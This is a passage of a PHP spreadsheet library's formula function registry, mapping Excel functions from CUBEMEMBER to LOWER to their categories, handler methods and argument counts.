'argumentCount' => '?', ], 'CUBEMEMBER' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUBEMEMBERPROPERTY' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUBERANKEDMEMBER' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUBESET' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUBESETCOUNT' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUBEVALUE' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'CUMIPMT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Cumulative::class, 'interest'], 'argumentCount' => '6', ], 'CUMPRINC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Cumulative::class, 'principal'], 'argumentCount' => '6', ], 'DATE' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Date::class, 'fromYMD'], 'argumentCount' => '3', ], 'DATEDIF' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Difference::class, 'interval'], 'argumentCount' => '2,3', ], 'DATESTRING' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'DATEVALUE' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\DateValue::class, 'fromString'], 'argumentCount' => '1', ], 'DAVERAGE' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DAverage::class, 'evaluate'], 'argumentCount' => '3', ], 'DAY' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\DateParts::class, 'day'], 'argumentCount' => '1', ], 'DAYS' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Days::class, 'between'], 'argumentCount' => '2', ], 'DAYS360' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Days360::class, 'between'], 'argumentCount' => '2,3', ], 'DB' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Depreciation::class, 'DB'], 'argumentCount' => '4,5', ], 'DBCS' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'DCOUNT' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DCount::class, 'evaluate'], 'argumentCount' => '3', ], 'DCOUNTA' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DCountA::class, 'evaluate'], 'argumentCount' => '3', ], 'DDB' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Depreciation::class, 'DDB'], 'argumentCount' => '4,5', ], 'DEC2BIN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertDecimal::class, 'toBinary'], 'argumentCount' => '1,2', ], 'DEC2HEX' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertDecimal::class, 'toHex'], 'argumentCount' => '1,2', ], 'DEC2OCT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertDecimal::class, 'toOctal'], 'argumentCount' => '1,2', ], 'DECIMAL' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'DEGREES' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Angle::class, 'toDegrees'], 'argumentCount' => '1', ], 'DELTA' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Compare::class, 'DELTA'], 'argumentCount' => '1,2', ], 'DEVSQ' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Deviations::class, 'sumSquares'], 'argumentCount' => '1+', ], 'DGET' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DGet::class, 'evaluate'], 'argumentCount' => '3', ], 'DISC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Rates::class, 'discount'], 'argumentCount' => '4,5', ], 'DMAX' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DMax::class, 'evaluate'], 'argumentCount' => '3', ], 'DMIN' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DMin::class, 'evaluate'], 'argumentCount' => '3', ], 'DOLLAR' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'DOLLAR'], 'argumentCount' => '1,2', ], 'DOLLARDE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Dollar::class, 'decimal'], 'argumentCount' => '2', ], 'DOLLARFR' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Dollar::class, 'fractional'], 'argumentCount' => '2', ], 'DPRODUCT' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DProduct::class, 'evaluate'], 'argumentCount' => '3', ], 'DROP' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-3', ], 'DSTDEV' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DStDev::class, 'evaluate'], 'argumentCount' => '3', ], 'DSTDEVP' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DStDevP::class, 'evaluate'], 'argumentCount' => '3', ], 'DSUM' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DSum::class, 'evaluate'], 'argumentCount' => '3', ], 'DURATION' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '5,6', ], 'DVAR' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DVar::class, 'evaluate'], 'argumentCount' => '3', ], 'DVARP' => [ 'category' => Category::CATEGORY_DATABASE, 'functionCall' => [Database\DVarP::class, 'evaluate'], 'argumentCount' => '3', ], 'ECMA.CEILING' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1,2', ], 'EDATE' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Month::class, 'adjust'], 'argumentCount' => '2', ], 'EFFECT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\InterestRate::class, 'effective'], 'argumentCount' => '2', ], 'ENCODEURL' => [ 'category' => Category::CATEGORY_WEB, 'functionCall' => [Web\Service::class, 'urlEncode'], 'argumentCount' => '1', ], 'EOMONTH' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Month::class, 'lastDay'], 'argumentCount' => '2', ], 'ERF' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Erf::class, 'ERF'], 'argumentCount' => '1,2', ], 'ERF.PRECISE' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Erf::class, 'ERFPRECISE'], 'argumentCount' => '1', ], 'ERFC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ErfC::class, 'ERFC'], 'argumentCount' => '1', ], 'ERFC.PRECISE' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ErfC::class, 'ERFC'], 'argumentCount' => '1', ], 'ERROR.TYPE' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [ExcelError::class, 'type'], 'argumentCount' => '1', ], 'EVEN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'even'], 'argumentCount' => '1', ], 'EXACT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'exact'], 'argumentCount' => '2', ], 'EXP' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Exp::class, 'evaluate'], 'argumentCount' => '1', ], 'EXPAND' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-4', ], 'EXPONDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Exponential::class, 'distribution'], 'argumentCount' => '3', ], 'EXPON.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Exponential::class, 'distribution'], 'argumentCount' => '3', ], 'FACT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Factorial::class, 'fact'], 'argumentCount' => '1', ], 'FACTDOUBLE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Factorial::class, 'factDouble'], 'argumentCount' => '1', ], 'FALSE' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Boolean::class, 'FALSE'], 'argumentCount' => '0', ], 'FDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'F.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\F::class, 'distribution'], 'argumentCount' => '4', ], 'F.DIST.RT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'FILTER' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Filter::class, 'filter'], 'argumentCount' => '2-3', ], 'FILTERXML' => [ 'category' => Category::CATEGORY_WEB, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'FIND' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Search::class, 'sensitive'], 'argumentCount' => '2,3', ], 'FINDB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Search::class, 'sensitive'], 'argumentCount' => '2,3', ], 'FINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'F.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'F.INV.RT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'FISHER' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Fisher::class, 'distribution'], 'argumentCount' => '1', ], 'FISHERINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Fisher::class, 'inverse'], 'argumentCount' => '1', ], 'FIXED' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'FIXEDFORMAT'], 'argumentCount' => '1-3', ], 'FLOOR' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Floor::class, 'floor'], 'argumentCount' => '1-2', // Excel requries 2, Ods/Gnumeric 1-2 ], 'FLOOR.MATH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Floor::class, 'math'], 'argumentCount' => '1-3', ], 'FLOOR.PRECISE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Floor::class, 'precise'], 'argumentCount' => '1-2', ], 'FORECAST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'FORECAST'], 'argumentCount' => '3', ], 'FORECAST.ETS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3-6', ], 'FORECAST.ETS.CONFINT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3-6', ], 'FORECAST.ETS.SEASONALITY' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-4', ], 'FORECAST.ETS.STAT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3-6', ], 'FORECAST.LINEAR' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'FORECAST'], 'argumentCount' => '3', ], 'FORMULATEXT' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Formula::class, 'text'], 'argumentCount' => '1', 'passCellReference' => true, 'passByReference' => [true], ], 'FREQUENCY' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'FTEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'F.TEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'FV' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic::class, 'futureValue'], 'argumentCount' => '3-5', ], 'FVSCHEDULE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Single::class, 'futureValue'], 'argumentCount' => '2', ], 'GAMMA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'gamma'], 'argumentCount' => '1', ], 'GAMMADIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'distribution'], 'argumentCount' => '4', ], 'GAMMA.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'distribution'], 'argumentCount' => '4', ], 'GAMMAINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'inverse'], 'argumentCount' => '3', ], 'GAMMA.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'inverse'], 'argumentCount' => '3', ], 'GAMMALN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'ln'], 'argumentCount' => '1', ], 'GAMMALN.PRECISE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Gamma::class, 'ln'], 'argumentCount' => '1', ], 'GAUSS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'gauss'], 'argumentCount' => '1', ], 'GCD' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Gcd::class, 'evaluate'], 'argumentCount' => '1+', ], 'GEOMEAN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages\Mean::class, 'geometric'], 'argumentCount' => '1+', ], 'GESTEP' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Compare::class, 'GESTEP'], 'argumentCount' => '1,2', ], 'GETPIVOTDATA' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2+', ], 'GROWTH' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'GROWTH'], 'argumentCount' => '1-4', ], 'HARMEAN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages\Mean::class, 'harmonic'], 'argumentCount' => '1+', ], 'HEX2BIN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertHex::class, 'toBinary'], 'argumentCount' => '1,2', ], 'HEX2DEC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertHex::class, 'toDecimal'], 'argumentCount' => '1', ], 'HEX2OCT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertHex::class, 'toOctal'], 'argumentCount' => '1,2', ], 'HLOOKUP' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\HLookup::class, 'lookup'], 'argumentCount' => '3,4', ], 'HOUR' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\TimeParts::class, 'hour'], 'argumentCount' => '1', ], 'HSTACK' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1+', ], 'HYPERLINK' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Hyperlink::class, 'set'], 'argumentCount' => '1,2', 'passCellReference' => true, ], 'HYPGEOMDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\HyperGeometric::class, 'distribution'], 'argumentCount' => '4', ], 'HYPGEOM.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '5', ], 'IF' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Conditional::class, 'statementIf'], 'argumentCount' => '2-3', ], 'IFERROR' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Conditional::class, 'IFERROR'], 'argumentCount' => '2', ], 'IFNA' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Conditional::class, 'IFNA'], 'argumentCount' => '2', ], 'IFS' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Conditional::class, 'IFS'], 'argumentCount' => '2+', ], 'IMABS' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMABS'], 'argumentCount' => '1', ], 'IMAGINARY' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Complex::class, 'IMAGINARY'], 'argumentCount' => '1', ], 'IMARGUMENT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMARGUMENT'], 'argumentCount' => '1', ], 'IMCONJUGATE' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCONJUGATE'], 'argumentCount' => '1', ], 'IMCOS' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCOS'], 'argumentCount' => '1', ], 'IMCOSH' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCOSH'], 'argumentCount' => '1', ], 'IMCOT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCOT'], 'argumentCount' => '1', ], 'IMCSC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCSC'], 'argumentCount' => '1', ], 'IMCSCH' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMCSCH'], 'argumentCount' => '1', ], 'IMDIV' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexOperations::class, 'IMDIV'], 'argumentCount' => '2', ], 'IMEXP' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMEXP'], 'argumentCount' => '1', ], 'IMLN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMLN'], 'argumentCount' => '1', ], 'IMLOG10' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMLOG10'], 'argumentCount' => '1', ], 'IMLOG2' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMLOG2'], 'argumentCount' => '1', ], 'IMPOWER' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMPOWER'], 'argumentCount' => '2', ], 'IMPRODUCT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexOperations::class, 'IMPRODUCT'], 'argumentCount' => '1+', ], 'IMREAL' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Complex::class, 'IMREAL'], 'argumentCount' => '1', ], 'IMSEC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMSEC'], 'argumentCount' => '1', ], 'IMSECH' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMSECH'], 'argumentCount' => '1', ], 'IMSIN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMSIN'], 'argumentCount' => '1', ], 'IMSINH' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMSINH'], 'argumentCount' => '1', ], 'IMSQRT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMSQRT'], 'argumentCount' => '1', ], 'IMSUB' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexOperations::class, 'IMSUB'], 'argumentCount' => '2', ], 'IMSUM' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexOperations::class, 'IMSUM'], 'argumentCount' => '1+', ], 'IMTAN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ComplexFunctions::class, 'IMTAN'], 'argumentCount' => '1', ], 'INDEX' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Matrix::class, 'index'], 'argumentCount' => '2-4', ], 'INDIRECT' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Indirect::class, 'INDIRECT'], 'argumentCount' => '1,2', 'passCellReference' => true, ], 'INFO' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'INT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\IntClass::class, 'evaluate'], 'argumentCount' => '1', ], 'INTERCEPT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'INTERCEPT'], 'argumentCount' => '2', ], 'INTRATE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Rates::class, 'interest'], 'argumentCount' => '4,5', ], 'IPMT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Interest::class, 'payment'], 'argumentCount' => '4-6', ], 'IRR' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Variable\Periodic::class, 'rate'], 'argumentCount' => '1,2', ], 'ISBLANK' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isBlank'], 'argumentCount' => '1', ], 'ISERR' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\ErrorValue::class, 'isErr'], 'argumentCount' => '1', ], 'ISERROR' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\ErrorValue::class, 'isError'], 'argumentCount' => '1', ], 'ISEVEN' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isEven'], 'argumentCount' => '1', ], 'ISFORMULA' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isFormula'], 'argumentCount' => '1', 'passCellReference' => true, 'passByReference' => [true], ], 'ISLOGICAL' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isLogical'], 'argumentCount' => '1', ], 'ISNA' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\ErrorValue::class, 'isNa'], 'argumentCount' => '1', ], 'ISNONTEXT' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isNonText'], 'argumentCount' => '1', ], 'ISNUMBER' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isNumber'], 'argumentCount' => '1', ], 'ISO.CEILING' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1,2', ], 'ISODD' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isOdd'], 'argumentCount' => '1', ], 'ISOMITTED' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'ISOWEEKNUM' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Week::class, 'isoWeekNumber'], 'argumentCount' => '1', ], 'ISPMT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Interest::class, 'schedulePayment'], 'argumentCount' => '4', ], 'ISREF' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isRef'], 'argumentCount' => '1', 'passCellReference' => true, 'passByReference' => [true], ], 'ISTEXT' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'isText'], 'argumentCount' => '1', ], 'ISTHAIDIGIT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'JIS' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'KURT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Deviations::class, 'kurtosis'], 'argumentCount' => '1+', ], 'LAMBDA' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'LARGE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Size::class, 'large'], 'argumentCount' => '2', ], 'LCM' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Lcm::class, 'evaluate'], 'argumentCount' => '1+', ], 'LEFT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'left'], 'argumentCount' => '1,2', ], 'LEFTB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'left'], 'argumentCount' => '1,2', ], 'LEN' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'length'], 'argumentCount' => '1', ], 'LENB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'length'], 'argumentCount' => '1', ], 'LET' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'LINEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'LINEST'], 'argumentCount' => '1-4', ], 'LN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Logarithms::class, 'natural'], 'argumentCount' => '1', ], 'LOG' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Logarithms::class, 'withBase'], 'argumentCount' => '1,2', ], 'LOG10' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Logarithms::class, 'base10'], 'argumentCount' => '1', ], 'LOGEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'LOGEST'], 'argumentCount' => '1-4', ], 'LOGINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\LogNormal::class, 'inverse'], 'argumentCount' => '3', ], 'LOGNORMDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\LogNormal::class, 'cumulative'], 'argumentCount' => '3', ], 'LOGNORM.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\LogNormal::class, 'distribution'], 'argumentCount' => '4', ], 'LOGNORM.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\LogNormal::class, 'inverse'], 'argumentCount' => '3', ], 'LOOKUP' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Lookup::class, 'lookup'], 'argumentCount' => '2,3', ], 'LOWER' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 